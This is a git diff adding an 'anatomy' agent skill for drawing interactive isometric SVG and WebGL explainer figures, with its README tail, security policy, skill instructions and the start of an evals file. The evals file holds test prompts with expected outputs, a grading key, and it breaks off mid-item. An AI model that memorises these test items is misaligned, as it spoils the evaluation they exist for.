as source, to inline into a standalone page +│ ├── turn-check.mjs 3D checks in the browser (with turn-fidelity.mjs) +│ └── turn-bench.mjs 3D timing in Node +├── examples/ eight complete figures, built pages committed +├── evals/evals.json test prompts and what a good answer contains +└── .github/ issue forms, PR template, CI, README images +``` + +</details> + +## Requirements + +| | Needed for | Notes | +|---|---|---| +| **[Claude Code](https://code.claude.com/docs/en/overview)**, or [Antigravity](https://antigravity.google), [OpenCode](https://opencode.ai/docs/skills/) or [Codex](https://developers.openai.com/codex/skills) | everything | The skill is written for Claude Code and follows the open Agent Skills format, so Antigravity, OpenCode and Codex load it too. In Codex, the browser checks start Chrome; if its sandbox blocks that, allow it for those commands. | +| **Node.js 20.10+** | builds, kit, checks | Built-in modules only: nothing to `npm install`. The examples were rebuilt byte for byte on Node 20.19 and 22.11. On Node 20 the browser scripts restart themselves with `--experimental-websocket`. | +| **Chrome or Chromium** | the checks | `capture.mjs`, `drive.mjs`, `lines.mjs` and `turn-check.mjs` look in the usual places on macOS, Linux and Windows and in Playwright's cache. Set `CHROME_PATH` for any other binary. They run it headless with WebGL on. | +| **React 18+** | React output only | `kit/react/`, `examples/test-rig/` and `examples/spot-plate/`. | + +## Limits + +- **It is not a chart library.** There are no axes, series or data plots. Numbers appear as a live readout driven by a model, and as the true sizes and counts of the parts. +- **It draws machines, instruments, tools and furniture.** Not people or exact maps. An idea that has no mechanism to build will come out weaker. +- **It is slow on purpose.** A figure takes a long session: the parts list, the geometry, the audit, and close-ups of every joint in both themes. The Raptor's build takes a few minutes, and a full 3D orbit audit takes 15 to 20 minutes for 30 parts. +- **Shaders need WebGL.** Without it the SVG still reads, and under reduced motion every figure goes still. + +> [!NOTE] +> **The 3D mode is beta.** It is proved on its example and one test figure, not yet on a production figure. A small 3D figure runs at 60 fps; the 380-part stress hand measured about 20 fps at 1440 px wide and 13 to 15 fps on a throttled phone profile, on a heavily loaded machine. + +## Share a figure + +Made something good? Ask your agent to *"publish this figure to the Anatomy community gallery"*. It asks for a title and your GitHub name, shows what it will send, and after your yes opens a pull request on [anatomy-community](https://github.com/wheresryan22/anatomy-community) for you: no git, no forking by hand. Or run `scripts/publish.mjs --submit` yourself. Without a terminal, use the gallery's **Submit a figure** form with a GitHub Gist. + +## Contributing + +Issues and pull requests are welcome. Read [CONTRIBUTING.md](CONTRIBUTING.md) first: it covers building the examples, the checks, and the house rules a change has to keep (among them, no comments in code, and kit changes that leave every existing example byte-identical). Please follow the [Code of Conduct](CODE_OF_CONDUCT.md), and report security problems as described in [SECURITY.md](SECURITY.md). + +- [Report a bug](https://github.com/wheresryan22/anatomy/issues/new?template=bug_report.yml) +- [Request a figure](https://github.com/wheresryan22/anatomy/issues/new?template=figure_request.yml) +- [Changelog](CHANGELOG.md) + +## License + +[MIT](LICENSE) © 2026 Ryan · [@wheresryan22](https://x.com/wheresryan22) + +<p align="center"><sub>If Anatomy drew something useful for you, a ⭐ helps other people find it.</sub></p> diff --git a/plugins/zch0227/anatomy-gallery/skills/anatomy/SECURITY.md b/plugins/zch0227/anatomy-gallery/skills/anatomy/SECURITY.md new file mode 100644 index 00000000..0fa04645 --- /dev/null +++ b/plugins/zch0227/anatomy-gallery/skills/anatomy/SECURITY.md @@ -0,0 +1,17 @@ +# Security + +## What is in scope + +Anatomy is a set of instructions, a drawing kit and local Node scripts. The scripts that start Chrome (`capture.mjs`, `drive.mjs`, `lines.mjs`, `turn-check.mjs`) run it headless with a throwaway profile and `--allow-file-access-from-files`, and `drive.mjs` runs JavaScript you pass it in the page. Point them only at pages you trust. + +A security problem is anything in this repository that could let a page, a prompt or a file run code, read files or reach the network in a way the user did not ask for: in the kit, in the scripts, in the built example pages, or in instructions in `SKILL.md` and `references/` that would lead Claude to do something unsafe. + +## Supported versions + +Only the latest commit on `main` is supported. + +## Reporting a vulnerability + +Please don't open a public issue for a security problem. Report it privately through GitHub's [private vulnerability reporting](https://github.com/wheresryan22/anatomy/security/advisories/new) for this repository. If that link does not work, send a direct message to [@wheresryan22](https://x.com/wheresryan22) on X asking for a private channel, without the details. + +Include what you found, how to reproduce it, and what it could let someone do. diff --git a/plugins/zch0227/anatomy-gallery/skills/anatomy/SKILL.md b/plugins/zch0227/anatomy-gallery/skills/anatomy/SKILL.md new file mode 100644 index 00000000..bd20028e --- /dev/null +++ b/plugins/zch0227/anatomy-gallery/skills/anatomy/SKILL.md @@ -0,0 +1,173 @@ +--- +name: anatomy +description: Copy bundled with the Anatomy gallery Mini App. If a standalone anatomy skill is also installed, use that one instead; use this copy only when no standalone anatomy skill is available. Build crafted, highly detailed, interactive isometric SVG figures that explain a technical idea as a real physical object (a test rig, a dial gauge, a cabinet of drawers, a plotter, a lock), with many small precise solid parts, four-tone shading, correct painter's order, a framed card with title, hint and live readout, and calm eased motion. Use this whenever someone wants an isometric illustration, an explanatory diagram or figure for docs, a blog post, a landing page or an article, a "Linear-style" or "premium" technical drawing, an interactive explainer, or an SVG that shows how a system, algorithm or component works, even if they never say "isometric". Works framework-free (TypeScript/JS that writes SVG and HTML) and in React/Next.js, and can add realistic WebGL shaders (fire, exhaust, water, caustics, lamp light) that live inside the drawing in the same isometric perspective. Also publishes a finished figure to the Anatomy community gallery when asked. +license: MIT +compatibility: Written for Claude Code; also runs in Antigravity, OpenCode and Codex. Needs Node.js 20.10+, and Chrome or Chromium for the checks. +metadata: + opencode/slash: "true" +--- + +# Anatomy + +This skill makes figures like a small instrument on a bench: a heavy base on feet, rails with tick rulers, a carriage on bushings, knurled knobs, coil springs, a dial gauge whose needle moves, screws as tiny dots. The reader understands the idea because they recognise the machine. Every number the figure shows comes from the same model that moves its parts. + +Eight complete examples ship with the skill. Open the closest one before you start. Each framework-free example is built with `node examples/<name>/build.mjs`, which writes a standalone HTML page next to the script; add `--light` for the light theme. + +- `examples/dial-indicator/` is the smallest: a dial gauge on a stand, about 300 lines in all. +- `examples/desk-computer/` is framework-free SVG: a desk computer with a keyboard you can type on. The typed line appears on a CRT screen drawn in the plane of the case front, and the picture collapses to a line and a dot when you switch it off. It has about 85 solids and 850 paths. +- `examples/arcade-cabinet/` is an upright arcade cabinet with its side panel off, a Hero of about 240 solids and 15 cables. A quarter flies into the slot, rolls down the coin chute at the speed a rolling disc reaches on a 30° slope, trips the coin-switch wire and drops into the cash box; the switch's pulse runs chunk by chunk along its cable to the board, and the CRT warms up, self-tests and runs an attract mode drawn in the plane of the tilted monitor. The stick tilts and closes a microswitch under the panel. It shows how to place a camera so a cutaway's mechanism stays in view, a concave board drawn as a prism along any axis, moving parts rebuilt in the page from the same module the build uses, and live coins and a wire drawn in reserved slots of the settled order. `node build.mjs --audit` proves the geometry. +- `examples/raptor-engine/` is a rocket engine hanging in a test stand. Its round parts come from `kit/lathe.mjs` and its pipes and harness from `kit/tube.mjs`. It comes apart into 11 assemblies with staggered springs and per-frame depth re-sorting. Every part records its true shape, and `node build.mjs --audit` (`kit/audit.mjs`) proves, at rest, apart and in every replayed frame of the explode, that nothing passes through anything, that every end sits on a real mount, that no bend pinches, folds or lands on another line, that no curved profile's slope wobbles, and that every overlap is drawn in depth order. A WebGL plume, shock, splash and steam render between the back and front SVG. It is the reference for dense pipework, smooth shading and fades. +- `examples/ripple-tank/` is a school ripple tank on tall legs over a paper screen, seen from 44° up. Two WebGL layers (lamp light, shadows and caustics on the paper, and the water's reflections and glass) are registered to the isometric planes and driven by a pure dispersion and optics model (`model.mjs`); a frequency change travels out from the dippers through a history texture. +- `examples/test-rig/` is a production figure from a real site (React/Next): a glass button on a spring-mounted carriage, a finger probe on a rail that presses and pulls, and a dial gauge reading the lean. It has 53 solids and about 470 paths. +- `examples/spot-plate/` is a second production figure from the same site: six pairs of glass drops on a spot plate, each pair drawn from one distance field, so a pair closer than `merge` runs together into one piece of glass. A fan of feeler blades sets `merge`, one blade per gap. It is the reference for shapes that morph into each other and for one control driving many parts. +- `examples/turning-dial/` is the optional 3D mode: a combination dial that turns in true 3D with a small robot hand on it. It has about 90 live parts in metal materials, a second turn group, a hinge, a three-hinge finger that lifts and a pod that breaks off as a free body. A WebGL LED, its light pool and sparks follow the moving parts. `stress.mjs` beside it is a dense hand of about 380 parts in a cluttered workshop, used to measure performance. + +The test rig is the quality bar for the drawing itself. The Raptor is the bar for shader work: a WebGL effect has to reach its standard of world-space, no-pop, seamless rendering. + +## The one idea that matters + +**The object is the explanation.** Don't draw boxes, arrows and labels. Invent a real, well-made physical thing whose working *is* the concept. Here is how earlier figures mapped: + +| Concept | Object | +|---|---| +| One shared GPU context serving many canvases | A gantry plotter: one print head visiting 16 wells | +| A cache key that skips work when nothing changed | A pin-tumbler lock: when every pin matches, the plug turns and nothing is redrawn | +| Seven render targets with different bytes per texel | A chest of seven drawers, each as deep as its bytes | +| A separable blur (49 × 49 taps vs 49 + 49) | A bed-of-nails stamp beside two combs on rails | +| A spring that presses and leans | A test rig with springs, a probe and a dial gauge | +| A height profile | A profile (contour) gauge pressed against the edge | +| Light that depends on facing | A small photo studio: key and fill lamps around a turntable | + +Two ways this fails, both seen in practice: + +- **Too abstract.** Stacked plates, floating slabs or labelled boxes don't read as anything. +- **Too flat and bland.** One big slab with a few lines on it has no volume, no parts and nothing to discover. + +The fix for both is the same: a recognisable machine, built from many small, precise, purposeful parts. + +**Every creation is highly detailed.** This holds for every figure, however small the idea or the request: a quick explainer is still a dense, real machine, never a few slabs. What scales with the size (workflow step 1) is how far you push it: a Figure gets the 4× sweep over its subject and mechanism, a Hero or an Epic over the whole drawing. +- **Read the real thing.** Build it the way the real object is built: every screw, seam, bevel, bushing, label plate, cable with its connector, scale with its ticks, and the parts that hold the parts. +- **Two looks.** At 1× it reads as one clear machine. At 4× every region still has something true to find; a bare face or an empty corner is unfinished work, not calm. +- **Purposeful, never noise.** Detail comes from parts that belong to the mechanism. Each one sits on another part, ends on an edge, and fades rather than stops. +- **Check it last.** Before you finish, zoom to 4× (over the subject and mechanism for a Figure, the whole drawing for a Hero or an Epic) and add the real parts that are missing wherever a region is plain. + +## Workflow + +Work in this order. Write the concept and the parts list before any geometry. Most of the quality is decided there. + +1. **Size it before you start.** Name the size before any other work, and tell the user roughly how long it will take when the tier below calls for an estimate. + - **Figure**: one mechanism, 40–80 parts, SVG with at most one WebGL layer. Name the size and build it without asking. Do not quote a time to the user, since a Figure often finishes in well under an hour. For the progress checks below, budget up to an hour. + - **Hero**: a dense object, several WebGL layers or one 3D subject, 80–150 parts. About 2–4 hours. Say so, then build it unless the user asked for something quick. + - **Epic**: a whole vehicle, building or plant with many moving systems, or the 3D mode on more than one subject. 6 hours or more. Do not start it. Give the estimate, propose a Hero version that keeps the core of the idea, and list what the full version would add. Build the Epic only when the user chooses it. + - Whatever the size, have a working page that opens in the browser within the first hour, and deepen it from there. Run `date` at the start and at each step, and when a step runs past twice its share of the estimate, tell the user where it stands and what is left. +2. **Truth first.** Collect the real numbers and behaviour of the thing being explained: sizes, counts, thresholds, curves. The readout, motion and caption must all be true. If you can, write the model as a small pure module, like `rig.ts` in the test-rig example, and drive everything from it. +3. **Invent the object.** Pick a machine, tool, instrument or piece of furniture whose mechanism maps one-to-one onto the concept. Say in one sentence what moves and what that motion means. Never copy a reference image: take its finish, not its object. +4. **Parts list.** Write at least 40 parts (40–80 for a Figure, 80–150 for a Hero, more for an Epic), grouped: base (plate, feet, groove, corner screws, label plate, ruler strip), structure (posts, rails, frame bars, end stops), mechanism (carriage, bushings, springs, plunger, needle), controls (knurled knob, thumb screw, crown) and the subject itself, which is the one lit part. Each part sits on another part. `references/craft.md` has a vocabulary of parts with recipes. +5. **Plan the world.** Use world units of about 1 px of the real thing: x and y on the floor, z up. Lay out plans as rounded rectangles `{x, y, w, d, r}` and circles. Choose the camera: azimuth 45° by default, 35–60° to show the long side, elevation 30° (higher, like the ripple tank's 44°, to look into something open). Then fit with `fitProjection(points, width, height, { pad, azimuth })`. +6. **Build geometry once.** Precompute every static path in a geometry module with the kit: `slabOf`, `cylinder`, `extrude`, `planOutline`, `topTicks`, `knurl`, `coil`, `radialTicks` and so on. Round parts on any axis (bells, flanges, valves, actuators) come from `kit/lathe.mjs`, and pipes and cables from `kit/tube.mjs`. Moving parts are built once at a rest position and moved with `translateAlong`. Only parts whose shape changes are rebuilt per frame. +7. **Paint back to front, bottom to top.** Sort repeated parts with `depthOf`. Split anything that wraps another part into a back half and a front half: the springs around a rod, the bars of a frame around a carriage. A moving part is drawn in the slot where it physically sits. See "Painter's order" in `references/craft.md`. Once a figure has pipes, cables and round parts, stop tuning keys by eye: record each item's shape as you put it into `A.recorder(P, { order, spring })`, let `A.settle(R, P)` measure true depth wherever two items overlap and set the keys, and end the build with `A.auditOrExit(R, P)`. Route pipes before you draw them: real ports at both ends, legs along the structure, crossings on straights, collars gapping the pipe (`references/craft.md`, section 8). Record the true shape of what you draw: a stand-in shape that silences the audit is a bug, and the audit fails one. A rod that slides out of a gland is one rod from `G.rodOut`, recorded with `A.slide`. +8. **Frame it.** Put the figure in a card: `Fig n` at top left, a short title at top right, the interaction hint at bottom left and the live readout at bottom right. Legend keys and a true caption go under the card, and words stay out of the drawing apart from at most one tiny engraved label. +9. **Make it live.** Use calm time-based motion: exponential follow or real springs. An idle tour loops when nobody touches it. The figure responds to pointer and keyboard, stops when offscreen, and goes still under reduced motion. Write attributes on refs and don't re-render per frame. See `references/motion.md`. +10. **Verify like a critic.** The owner finds faults by zooming in, so you zoom in first. Read every PNG you make. + - Capture desktop, phone (390 wide), hover and several moments of motion with `scripts/capture.mjs`; use `scripts/drive.mjs` for sequences, the apart pose and the `--no-webgl` fallback. + - **Run the audit to zero.** With pipes, cables or round parts, `node build.mjs --audit` must end `audit passed`, every failing line at 0: clearance at rest, apart and in mid-flight, terminals, loose ends, folds, self-overlap, crowding (against slender solids too), stand-in shapes, support, wobble, saddles and depth order. Fix an interlock in the geometry, never with a key bias. + - **Run the line check to zero.** The audit never sees line markup. `node scripts/lines.mjs page.html --out shots/lines.png` (and on the `-light` page, and in every resting pose with `drive.mjs`'s `["lines"]` action) must print `line ends: 0`: every seam, rule, rib, tick and pointer ends on a stroke, a dot or an outline. Read the ringed PNG. + - **4× close-ups of every junction in both themes** (build `--light` too), assembled and apart: every flange, tee, elbow, clamp, valve, bellows, band, saddle, ball joint and crossing, every curved body (no tone staircase), every place a texture ends (on an edge or fading), flat box faces with their seams, every textured hose at a chunk joint, every sliding rod at rest and at full stroke, and every window with text or shader content in it. + - **Shaders:** a contact sheet slowed with `["slow", 0.05]` across every transition; nothing pops, no colour switch, edges read 0. In light, also log ink per frame through each transition (it must follow the light monotonically) and crop where the ink meets strokes at 8–16× (`references/verify.md`, "Light-theme shaders"). + - Put your PNG next to the examples and ask: is it instantly a real object, rich in small parts with volume, with every line ending on something? Is it highly detailed at 1× and still rewarding at 4×, with no bare face or empty corner? Iterate until yes. Checklist: `references/verify.md`. + +## Setup + +The kit is in `kit/`: + +| File | Use it for | +|---|---| +| `kit/iso-kit.ts` | The whole core in one file: camera, solids, a parts library, an SVG string renderer, card and page builders, and the CSS (`ISO_CSS`). Copy it into a TypeScript project. | +| `kit/iso-kit.mjs` | The same core compiled to plain ESM, for Node scripts. Import it directly. | +| `kit/iso.css` | `ISO_CSS` written out. Import it once and put `class="iso"` (plus `data-theme="light"` for light) on a wrapper or `<body>`. | +| `kit/react/draw.tsx` | Server-safe React components: `Solid`, `Line`, `Wire`, `Dots`, `FaceText`, `IsoFigure`, `Plate`. | +| `kit/react/live.tsx` | `"use client"` hooks: `useReadout`, `useLoop`, `useEased`, `useInView`, `useStillness`, plus `spring` and `follow`. | +| `kit/lathe.mjs` | Round parts along any axis: `frameAlong`, `lathe` (smooth shading switches on by itself for any profile with a smooth knot), `solidOf`, `disc`, `ringBand`, `sphereOf`, `saddleOf`, `bandsOf` (one curved body cut into depth-sortable bands that share one surface, with one outline from `sidesOf`), visible arcs, ribs and bolt circles on round surfaces (`ribsOf` and `dotsOf` take `fade`, `ribsOf` takes `seams`), `rodOut` for a rod that slides out of a gland, and `fillet` for pipe routes. | +| `kit/tube.mjs` | `tubePieces` splits a 3D pipe or cable into depth-sortable chunks (with `breaks`, `gaps` under collars and clamps, elliptical end caps, and `rings` for a braid, corrugation or wrap that follows the cross-section through every joint), and `tubeSvg` draws one; `crossingsOf` finds where a route passes through a clamp, `runsOf` the drawn runs. Its `.tb-*` fills are in `ISO_CSS`. | +| `kit/audit.mjs` | Proves the geometry. `recorder(P, { order, spring })` collects items, shapes (turned bodies, slabs, prisms, boxes, balls, tubes, pads cut by their host) and routes as the helpers draw them; `settle(R, P)` ray-casts every overlapping pair for true depth, at rest, apart and in the replayed explode, and sets the painter's keys (`overlapsOf`, `orderKeys`); `auditOrExit(R, P)` is the `--audit` hook that runs every check (`clearances`, `solidClearances`, `terminals`, `looseEnds`, `supports`, `folds`, `selfOverlaps`, `crowding` with slender solids as lines, `coverage` for stand-in shapes, `wobble`, `seats`, `depthOrder`) and exits non-zero on any problem. `A.slide` records a rod that slides out of a gland. `references/kit.md`, section 12. | +| `kit/gl.mjs` | The WebGL layer for shaders inside the drawing: `GLSL_ISO` (the camera in GLSL, including `rayOf` and `pixelOf`), `glCamera(P)`, `glLayer(...)`, and the JS envelopes `smooth`, `burst` and `settle`. For 3D figures, `GLSL_TURN` and `glslPose(name)` bring world points into a moving group and mask a front canvas with `coverOf`. | +| `kit/turn.mjs`, `kit/turn-build.mjs`, `kit/turn-audit.mjs` | The optional 3D mode. `turn-build.mjs` has `turning(P, { recorder })`: groups (turn, slide, hinge, free), live layers, convex parts with materials, and `T.build`. `turn.mjs` is the runtime: `TURN.mount`, the controller, `TURN.cover`, `TURN.poseUniforms` and `TURN_CSS`. `turn-audit.mjs` has `orbitOrExit`, the orbit audit over every turn angle and motion clip. `references/3d.md`. | +| `scripts/capture.mjs` | Headless Chrome screenshots, close-ups and console checks, with WebGL on. Run with `node`. | +| `scripts/drive.mjs` | Scripted headless Chrome with WebGL: move, click, key, slow motion, wait-until, eval, shots and contact sheets that catch pops; `--no-webgl` and `--preload`. | +| `scripts/lines.mjs` | The line-end check on a built page, in headless Chrome: every texture line must end on a stroke, a dot or an outline. Rings the failures with `--out`; exits 1 on any. | +| `scripts/inline-kit.mjs` | `kitScript()`, `glScript()` and `turnScript()` return the kit, the WebGL layer and the 3D runtime as source to inline into a standalone page. | +| `scripts/turn-check.mjs`, `scripts/turn-bench.mjs` | 3D figures: fidelity against the kit builders, a z-buffer order check, pixel pops, line ends at 24 angles and frame timing in the browser; Node CPU time per part kind. | + +Pick the path that fits the project: + +- **Standalone HTML, a static SVG, a blog post or any non-React site.** Write a Node build script like `examples/dial-indicator/build.mjs`. It imports `kit/iso-kit.mjs`, assembles strings with `solidSvg`, `lineSvg`, `dotsSvg`, `wireSvg` and `faceTextSvg`, wraps them with `figureSvg` and `plateHtml`, and writes the page with `pageHtml({ script: kitScript() + live })`, or `kitScript() + glScript() + live` when it has a shader. For a lone `.svg` file use `figureSvg({ standalone: "dark" | "light" })`, which embeds the styles. +- **React or Next.js.** Copy `kit/` into the project (for example `components/iso/`). Keep geometry in plain `.ts` modules, build the static art in a server component with the `draw.tsx` components, and pass it as element props to one `"use client"` live component that moves things. `references/react.md` explains the split and a trap with large pages. + +## Craft rules (short form) + +These are the rules that separate a crafted figure from a diagram. `references/craft.md` gives the full reasoning and recipes. + +- **Solids, not wireframes.** Every part is filled in paper colour and painted in order, so things in front hide things behind. No see-through edges and no dashed hidden lines. +- **Let the kit shade.** `extrude` returns four side tones by facing plus a lighter top. Keep it for anything with height, and use `flat` only for floors and inlays thinner than 1 unit. +- **Tone hierarchy.** Base and feet are `lo`, structure is `mid` and the subject is `hi`. Exactly one accent is `lit` (white in dark, black in light): the part the reader should watch. Grooves are `faint`, minor ticks `lo`, major ticks `mid` and the zero mark `hi`. Use colour only when colour is the subject, such as red, green and blue channels. +- **Small precise detail, never noise.** Use bevels of 0.4–1.6, grooves inset 3–5 from an edge, screws as 0.4–0.55 dots with a ring at the corners of plates, knurls on knobs, ruler ticks every 4–5 units with a major every 5th, and a label plate with three rule lines. Each detail belongs to a part. +- **Lines resolve.** Every line ends on something: a face, another line or a terminal dot. Connectors are `Wire`s whose terminal dots land on objects. There are no leader lines, balloons, dimension arrows or labels floating in the air. +- **No pipe or cable passes through anything.** Not through another pipe, cable or solid, at rest, apart or in any frame of the explode. Keep about 1.5 radii of clearance to everything but a line's own connection, run lines beside the structure rather than across the subject's face, and gap a pipe wherever a flange, band, bellows, clamp or valve wraps it. Parts meet flush, tangent or rim-on-surface, never sunk in: a flange's back face lands on its port (on a saddle pad, `G.saddleOf`, when the port is curved), a branch leaves from a ball tee, and every end, apart too, finishes on a flange, coupling, connector shell or terminal dot. +- **Every crossing is drawn in true depth order.** Where two items overlap on screen, the nearer is drawn on top, proved by `A.settle` and the audit, not tuned by eye. Lines cross on straights, well apart in depth: a bend, end or clamp that lands on another line's outline reads as a joint (a rod, tie rod, post or rail counts as a line: a pipe's last leg never runs along one on screen), a leg that points at the viewer and then turns pinches to a V (leave such a port through an elbow ball), and a route never doubles back on screen. A pair that can't be ordered interlocks, and the fix is a cut or a tangent contact, never a bias. +- **Curved surfaces shade smoothly, never in a staircase.** Mark curved knots smooth (`[s, r, 1]`) and `lathe` shades them from one monotone curve that also draws the outline; give any curved body larger than a fitting an analytic profile with `smooth: { slope }`, cut long bodies with `G.bandsOf`, and use `G.sphereOf` for balls. Tone bands taper to nothing instead of ending on a straight cut, and seams go under the outline (`inner`). +- **A texture ends on a real edge or fades.** Ribs, bolt circles, rule lines, seams and grooves never stop in the middle of a surface, flat or curved: `ribsOf` and `dotsOf` take `fade` (draw faded ribs with `fadedSvg`), a rib row ends on its seams (`ribsOf(…, { seams: true })`), a seam or weld on a box wraps its corners (`k.sideSeam`, as the slab's `inner`), a line on one face runs edge to edge, vents are closed slots, ticks hang from a ruler strip's edge, a single line that must stop ramps out with `fadeLineSvg`, and a row whose features face up (holes on top of a ring) is seen all round (`all: true`). A texture on a pipe (braid, corrugation, wrap) follows its cross-section and runs through every chunk joint: `tubePieces(…, { rings })`, never a dashed stroke down the centreline. A pipe's shine and shade run onto its end caps and through every chunk joint. Only rule lines that stand for printed text, a needle's tail and a pointer's tip may stop on a bare face, marked `free`. +- **Shaders never pop or cut off.** Every uniform rides an envelope with an attack and a decay, phase changes are crossfades driven by the physical quantity, every term reaches zero before any bound or canvas edge, and the effect lives in world space in the figure's own camera (see below). +- **Things on faces fit them.** Text a machine displays fits its window at its widest string and is clipped to it; content seen through an opening is clipped by the opening as well as by its own plane, with the recess walls drawn. +- **Volume.** Give things real thickness, make them stand on other things, and put a soft halo under the base and under anything lifted. +- **Composition.** Centre the figure and let it fill about 55–65% of the card. Keep a consistent scale across a set of figures, and make sure it still reads at 390 px wide. + +## WebGL inside the drawing + +Use a shader only for what lines can't draw: fire and exhaust, water and caustics, real lamp light, glow, steam. The parts stay SVG. The core rules come from the first shader figure, whose colour change between phases looked cut rather than crossfaded: + +- **Three layers.** A back SVG holds what the effect covers, the canvas holds the effect (`pointer-events: none`), and a front SVG holds what covers it. Split a part, or the effect, when it is on both sides. +- **World space, same camera.** Build every shader point from `onFloor`, `onWallX` and `onWallY`, or march the pixel's ray `rayOf(vb) + t·towardViewer()`. Size everything in world units times `uK`. Anything lying on a plane registers exactly with that plane's SVG lines. +- **Nothing pops.** Every uniform follows an envelope with an attack and a decay (the kit's `burst` for events, `settle` for levels). Phase changes are crossfades where colour shifts continuously with the physical quantity, and a fade-out only gets darker. +- **No hard cut-offs.** Every term reaches zero before any `if`, bound or canvas edge, and before any cell edge of a cell noise. +- **Seen through an opening, masked twice.** Content behind a window or a recess is masked in its own plane and by the opening in the face plane, multiplied (`references/webgl.md`, section 5). +- **Blending.** Use `tonemap()` and dither. In dark, a canvas that only adds light uses premultiplied output with `mix-blend-mode: screen`, and one that must also darken (the ripple tank's water) stays normal-blended. +- **Light theme ships, and its shaders are designed for paper.** Use normal premultiplied alpha, never screen. Write the colour the paper should show and solve for the ink. A glow is a saturated body with a pale core, a coloured rim and an alpha floor, never a darkened dark-theme colour: that gave the Raptor's "red ink smoke". + - What the light falls on takes a tint, and the cavity that holds it gets a darker physical ground (soot, refractory, water depth). + - Hot bodies follow one blackbody ink table shared with the fallback. + - Ink only grows with light: fade the finished ink once, never one term at a time. + - Ink ends at each stroke's inner edge. + - Measure ink per frame. `references/webgl.md`, section 8, has the recipes and the faults reviewers found. +- **Restraint.** Cap the device ratio at 1.5 and render only while the effect is active and onscreen. Reduced motion gets one still frame, and the SVG must still read without WebGL. + +Read `references/webgl.md` before writing any shader. + +## 3D: figures that turn (beta) + +3D is an option like WebGL. Use it when a part moving in depth is the idea: a dial or turntable that turns, fingers that flex, a piece that breaks off and falls. The rest of the figure stays static kit art. + +It is in beta: the engine is proved on its example and one test figure, not yet on a production figure. Turn one subject at a time and keep the clutter around it static. A small figure runs at 60 fps; a dense 380-part flexing hand measured about 20 fps at 1440 and 13–15 fps on a phone profile (390 px, 4× CPU throttle) on a heavily loaded machine. + +- **Live parts are the kit's own picture.** Each frame, convex kit primitives (prisms, rounds, domes, balls with flats, lathes, tubes) are re-projected and re-shaded by the kit's rules. A turn by θ is the kit drawing at azimuth `a − θ`. +- **Order comes from separating planes.** Same-group pairs get a plane fixed in the group, pairs on different links get one fixed in their common frame, and the rest are solved each frame. The audit proves there are no cycles at any angle or in any clip frame. +- **Contacts are flush, tangent or rim-on-flat.** Joints are coaxial knuckle discs on the child group that touch the parent's link, or the audit calls the whole child group loose. No live line spans two moving groups: a cable crosses a joint through a clip on each side, or reaches the turntable through a slip ring at the hub. +- **Live tubes bend in near-horizontal planes or inside fittings, and never point along the view.** A bend needs R ≥ 2r / sin²(e − θmax), where θmax includes the pitch range of every hinge it rides: 8r is the bound when flat, and on a ±12° hinge it is 21r. Each route runs from mount surface to mount surface, with its ports in `gaps`. That holds at every angle and in every pose. +- **Materials remap the ramp.** Gold, chrome, steel, gunmetal, rubber, brass and copper each have a light and a dark set; tones still come from facing. +- **Free groups break off without a jump.** Coaxial parts are fixed pictures with turning textures. +- **Shaders follow the motion.** Anchor them to a group with `controller.anchor` or `toGroup`, occlude a front canvas with `coverOf`, and keep world effects (smoke, falling sparks, oil on the bench) out of group space. +- **Verify with `--audit`** (`turn audit passed`) and `scripts/turn-check.mjs` (`--fidelity`, `--order`, `--pops`, `--lines`, `--perf`). Iterate with `--quick --only=…`. Only a full run proves the figure, and it takes 15–20 minutes for 30 parts, so run it in the background. + +Read `references/3d.md` first. + +## References + +Read these as you need them: + +- `references/craft.md`: the look in depth, including the parts vocabulary with code, tone tables, painter's order patterns, round parts, pipes and harnesses, exploded views, screens on faces, and the anti-patterns that got figures rejected. Read it before designing. +- `references/kit.md`: the API, with signatures and examples. +- `references/motion.md`: live behaviour (loops, springs, tours, pointer, keyboard, accessibility, reduced motion), plus envelopes for one-shot events, exploded views, depth re-sorting and arming, in vanilla JS and React. +- `references/react.md`: the React/Next.js server/client split, element props and the large-payload key-warning trap. +- `references/verify.md`: the `capture.mjs` and `drive.mjs` commands, the review checklist (including shaders) and common faults. +- `references/webgl.md`: shaders inside the drawing: when one earns its place, the layer stack, the camera contract, ray-marching in the iso camera, the full API with a minimal page, the craft rules with the bugs that taught them, the light theme (inks on paper, per-phenomenon recipes, the reviewers' faults), and how to verify them. +- `references/walkthrough.md`: how the test rig was designed, step by step, from concept to code. +- `references/3d.md`: the optional 3D mode: groups and poses, live layers, convex parts and their rules, materials, free groups, hinge chains, painter's order, static clutter around a turntable, shaders that follow the turn, the orbit audit, browser checks, performance and limits. +- `references/publish.md`: sharing a finished figure in the community gallery with `scripts/publish.mjs`, only when the user asks; nothing is pushed for them. diff --git a/plugins/zch0227/anatomy-gallery/skills/anatomy/agents/openai.yaml b/plugins/zch0227/anatomy-gallery/skills/anatomy/agents/openai.yaml new file mode 100644 index 00000000..dcdc373d --- /dev/null +++ b/plugins/zch0227/anatomy-gallery/skills/anatomy/agents/openai.yaml @@ -0,0 +1,3 @@ +interface: + display_name: "Anatomy" + short_description: "Explain an idea as a crafted, interactive isometric machine" diff --git a/plugins/zch0227/anatomy-gallery/skills/anatomy/evals/evals.json b/plugins/zch0227/anatomy-gallery/skills/anatomy/evals/evals.json new file mode 100644 index 00000000..e8acc8f3 --- /dev/null +++ b/plugins/zch0227/anatomy-gallery/skills/anatomy/evals/evals.json @@ -0,0 +1,35 @@ +{ + "skill_name": "anatomy", + "evals": [ + { + "id": 1, + "prompt": "I'm writing a blog post about how a token-bucket rate limiter works. Can you make me one interactive isometric illustration for it, the polished kind (like Linear's site), as a single HTML file I can just open? My blog has a white background. The bucket holds 20 tokens, refills 5 per second, and each request takes one token; requests get rejected when it's empty.", + "expected_output": "A single standalone HTML file, light theme, with one framed isometric figure of a real physical object that explains a token bucket (tokens refilling, requests taking tokens, rejection when empty), live readout with true numbers, calm eased motion, keyboard/pointer interaction. Every curved part (a hopper, a drum, a funnel) is smooth-shaded with no stepped tone blocks, every row of ticks, ribs or bolt dots ends on a real edge or fades out instead of stopping mid-surface, and nothing passes through anything; any pipe or chute is recorded and `node build.mjs --audit` ends `audit passed` with zero on every failing line. It was checked with 4x close-ups of every joint, and every PNG was looked at.", + "files": [] + }, + { + "id": 2, + "prompt": "We need a figure for our Next.js docs explaining database connection pooling: a pool of 10 connections, requests borrow a connection and give it back, and when all 10 are busy new requests wait in a queue. Build it as a React component (TSX) we can drop into the app, and also give me a static HTML preview so I can look at it right now. Dark theme. It should look like a crafted physical object with fine details, not a boxes-and-arrows diagram.", + "expected_output": "A React TSX component (plus any geometry/CSS files) and a standalone HTML preview, dark theme, showing connection pooling as a real object with many small parts, live 